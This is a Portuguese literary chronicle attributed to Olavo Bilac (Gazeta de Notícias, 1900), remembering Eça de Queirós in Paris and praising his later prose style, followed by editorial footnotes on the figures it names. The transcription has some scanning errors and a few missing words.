Eça de Queiroz – Crônica de Olavo Bilac

Eça de Queirós

Foi
numa fria noite de dezembro de 1890 que o escritor desta "Crônica"
teve pela primeira vez a ventura de apertar a mão de Eça de Queirós. Deram-lhe
essa ventura Domício da Gama1 e Eduardo Prado,- levando-o à pequena
casa do bairro dos Campos Elísios, em Paris, onde Eça, casado e feliz, criara
para gozo seu e gozo dos seus amigos um encantado recanto de paz e trabalho no
meio da tumultuosa agitação da grande cidade.

Era um consolo — deixar as
amplas ruas de Paris, cheias de uma multidão que patinava na
lama gelada, falando todas as línguas, ardendo no fogo de todas as paixões
arrastada a todos os prazeres, e chegar ao tépido ninho de Amor e da Arte, e
encontrar ali dentro a língua natal, o carinho meigo daquele grande espírito, e
o sossego daquele lar português que a presença das duas senhoras iluminava e
perfumava.

Por todo esse duro inverno (***) 91, o
obscuro poeta brasileiro [***] no torvelim de Paris, foi muito [***] à
casa de Eça de Queirós [***] de felicidade.

Com o esguio
corpo dançando dentro da vasta sobre casaca inglesa, Eça, nas deliciosas
noitadas de conversa íntima, ficava encostado ao pára-fogo de seda chinesa,
junto da lareira em que um lume aiegre crepirava. Era ele, quase sempre, que
falava. Não que tivesse a preocupação de se tornar saliente — porque nunca
falava de si, e tinha, por assim dizer, um recatado e melindroso pudor de
virgem, um retraimento envergonhado, sempre que, ao acaso da palestra, um de
nós se referia ao seu alto me’rito de escritor… Eça falava quase sempre,
porque era um conversador inimitável, porque gostava de conversar, porque se
deixava levar pelo curso das próprias idéias.

Quem se
atreveria a embaraçar, com uma palavra importuna, a correnteza daquela caudal?

E que
conversador! os seus gestos tinham a expressão das mais cálidas palavras: a mão
escorçava, desenhava, colo-ria, no ar o objeto, a pessoa, a paisagem que a
frase descre-via ruas da morrinhenta vida das aldeias portuguesas, da
Palestina, das Canárias, das grandes capitais da Europa iam passando, vivas e
palpitantes, pela teia daquele animatógrafo surpreendente. E, mais clara, mais
viva do que o talento do artista, avultava a bondade do homem, naquelas horas
de liberdade de espírito e de meias confidencias veladas…

Alto e magro, com o olhar ardente nas órbitas encovadas,
sobre o forte nariz aquilino; com o queixo saliente entalado no alto colarinho;
de uma sóbria e fina elegância de gentil-homem, sem uma nota espalhafatosa no
vestuário, sem uma afetação no dizer — o criador d’Os Maias já não era,
naquele tempo, o leão da moda, célebre pelas suas gravatas e o blagueur3 impenitente,
célebre pelos seus paradoxos.

Eça varrera
da sua toilette os requintes que escandalizavam a gente pacata como
varrera do seu estilo os galicismos que escandalizavam Herculano…1

A
vida de Paris, com o seu esplendor de feira do Gozo, não fascinava o espírito
do artista. Quando saía, era para fazer uma ronda lenta pelos alfarrabistas do
cais do Sena, uma rápida visita a uma livraria, a um museu, a um saião de
pintura. Amava o seu lar, os seus livros, a sua mesa de trabalho e,
principalmente, a sua profissão de escritor, o seu paciente e sublime ofício de
corporificador de idéias e de desbastador de palavras.

£m
1890, já o amor e a felicidade doméstica haviam transformado o espírito do
prodigioso escritor. Ainda, é verdade, nas Cartas de Fradique Mendes, aparecia,
relampejante e mordaz, aquela luminosa ironia, que golpeava sem compaixão os
ridículos da pátria, dando piparotes nas orelhas dos cretinos políticos, pondo
rabo-leva nos janotas delambidos e crivando de bandarilhas o cachaço da imbecilidade
triunfante. Mas a Pátria já não era então para ele "uma vasta choldra
organizada em paz", povoada só de Basílios peraltas, de Acácios asneirões,
de enfatuados Gouvarinhos e de ignóbeis Damasos. Já era mais alguma cousa, já
era tudo: era o sacrário em que se guardavam as tradições da raça e da religião
e, principalmente, onde se guardava esta fina e adorada relíquia — a doce
língua de Bernardim Ribeiro.

Em um estudo recente sobre o romancista português, Eduardo Prado dizia que "Deus entrara em casa de Eça com o primeiro
filho".

Deus — e a tolerância. A imbecilidade já lhe não merecia
apenas sarcasmos e cólera. O longo conhecimento da vida dera-lhe a faculdade de
se compadecer da miséria humana; e a decadência moral da moderna sociedade
portuguesa, devorada, como todas as outras, pela politicagem asinina e pelo
amor imoderado do dinheiro, já lhe não inspirava nojo e indignação:
inspirava-lhe piedade. Ele compreendera que os povos são todos na essência os
mesmos, com maior ou menor brilho nas exterioridades. E compreendera ainda que,
quanto mais baixo cai um povo, tanto mais amor c tanto mais carinhoso apoio
deve. merecer daqueles filhos seus que são
superiores pela  inteligência e pelo caráter ao nível geral dos outros.

Então,
cansado de chasquear da irremediável tolice das gentes de hoje, Eça deliberara
servir ao seu país dando-lhe livros de puro ideal, que contribuíssem para
salvar, no futuro, de um possível naufrágio completo, o nome português. Que é
feito desse São Cristóvão, que, segundo se diz, estava ele
escrevendo? Quanta obra-prima deve haver no espólio opulento do maior romancista
de Portugal!

Mas
o que mais se modificou ultimamente no inesquecível homem de letras foi sem
dúvida a sua maneira de escrever. Pour  épater le bourgeois6  Eça
timbrava a princípio em desarticular e apodrecer a língua sagrada que
praticava, Os seus galicismos, principalmente — cigarreta, argôche;
degringolada
—, ficaram célebres. Não parecia isso o desespero de um grande
artista, condenado a escrever numa língua fadada a desaparecer e vingando-se
assim cruelmente dessa fatalidade?

De
1890 para cá, nestes dez anos que o maravilhoso escritor do Crime do padre
Amaro
ainda viveu sobre a face da terra, o seu estilo — sem perder a
vivacidade que fez imortal a figura do Ega n’ Os Maias, e sem se
despojar do colorido quente e vibrante que torna indestrutíveis as páginas do
‘"Sonho de Teodorico’", em A relíquia— passou por uma
transformação profunda, repeliu do seu seio os barbarismos e, fazendo uma
reversão à primitiva pureza dos clássicos, transmudou-se em um estilo de ouro
puro, trabalhado como uma custódia de Benvenuto Cellini," mas guardando
uma sobriedade que só os escritores de gênio podem ter. Que linguagem! que
maravilha de precisão e de pureza!A Gazeta de Notícias teve a honra de
publicar, em primeira mão há poucos anos, a mais notável, talvez, das criações
de Eça, na sua última maneira. Foi O defunto, essa obra-prima que
bastaria, em qualquer literatura antiga ou moderna, para dar a um escritor o
bastão de maioral das letras.

Toda essa novela admirável é animada de um vasto
sopro de gênio. Os personagens ressaltam vivos da urdidura do estilo impecável;
o entrecho, simples e humano, flui sem rebuscamento, sem uma contradição; e que
forma! nem rodos os esmerilhadores de
defeitos, nem rodos esses caçadores de senões, que passam a vida, como eunucos
literários, a catarem imperfeições nas obras-primas como quem anda a catar
caramujos em rosais — nem rodos eles trabalhando juntos poderão achar nas
páginas d’O defunto um vocábulo que possa ser substituído por outro…

Ali,
naquela Bíblia da moderna língua portuguesa, quando um verbo chama o substantivo,
e se amálgama com ele na estrutura da oração — logo um adjetivo, o próprio, o
verdadeiro, o único, aparece a ocupar o seu lugar.

Tudo aquilo
é firme, é miúdo, como a trama de uma seda de Macau.

Para
escrever assim, é preciso pensar, sofrer, suar e gemer sobre o papel,
numa agonia inominável; é preciso matar os olhos e espírito no labor
acurado, como um lapidário os mata no desbastamento das 66 faces de um brilhante.
Quando o escritor é medíocre, a obra que sai desse trabalho insano é um
monstrengo arrebicado, suando afetação por todos os poros. Mas, quando o
lapidário se chama Flaubert ou Eça de Queirós — o filho de todo esse pertinaz e
sobre-humano esforço parece ter sido conseguido e gerado de um golpe, tão
esplêndida se nos revela a sua aparente simplicidade!…

Se a primeira maneira de Eça de Queirós se pode caracterizar
pela nobre ousadia, pelo atrevido e brilhante arremesso com que o escritor se
insurgiu contra a apatia de sua gente e os preconceitos da sua terra — a
segunda se caracteriza pelo culto fanático do estilo, pelo amor sem termo da
Forma, pelo meticuloso trato da língua querida. O defunto, "Frei
Genebro", "Civilização", "O suave milagre", "A
perfeição", "José Matias" e toda a riquíssima coleção das
crônicas publicadas pela Gazeta de Notícias e pela Revista Moderna são
páginas imorredouras. Em sua primeira fase, Eça tinha um quê de cavaleiro
andante, saindo à liça, contra abusos que nunca ninguém corrigiu, e nunca
ninguém corrigirá. Em sua segunda fase, Eça foi o artista, na única e nobre
acepção da palavra, artista-sacerdote, artista-asceta, artista divino…

Suave Mestre! nunca, com tão grande amor e com
tão arrebatado entusiasmo, amou alguém, como tu, o idioma português! Quando a
morte te veio buscar, não tinhas arredado o pé de junto do tear maravilhoso em
que urdias, dia e noite, o teu estilo impecável… Ah! quem pudera ler já,
Mestre querido, para as regar de lágrimas de admiração e de saudade, as últimas
linhas que trabalhaste!

Dorme,
adorado! morreste, sacerdote da mais nobre e da mais bela das Artes, como uma
vez disse que queria morrer José Maria Heredia,8 e como devem querer morrer
todos os artistas, "ainsi que fit fray Juan de Segovie/ Mourir, en
ciselant dans Por un ostensoir…".”

s. a.

Gazeta de Notícias 19/8/1900

 

 

1 Domício da Gama (1862-1925): contista e diplomata, seu
livro mais importante
é Histórias curtas, de 1901.

2 Eduardo
Prado (1860-1943): destacado intelectual paulista, anti-republicano,
autor de Fastos da ditadura militar no Brasil (1890) e de A ilusão americana (1893).
3 | : Termo francês que significa "piadista",
"gozador".

 

4. Alexandre Herculano (1810-77): intelectual do romantismo
por-tuguês, Alexandre Herculano foi romancista,
poeta, historiador, político e personalidade
de destacada importância na cultura de seu pais.

 

5
Bernardim Ribeiro: poeta e prosador português do século XVI, autor do  famoso Menina
e moça,
publicado em 1554.

 

6 Expressão írancesa que
significa "para escandalizar o burguês".

 

7 Benvenuto Cellini
(1500-71): escultor italiano de enorme prestígio, desenvolveu suas atividades
entre a Itália e a França.

 

8  José Maria de Heredia
(1842-1905): poeta francês de origem cubana. autor de Trophées
(1893)  uma das obras básicas do parnasianismo francês

"assim
como morreu frei Juan de Segóvia/ cinnzelando em ouro um ostensório…"

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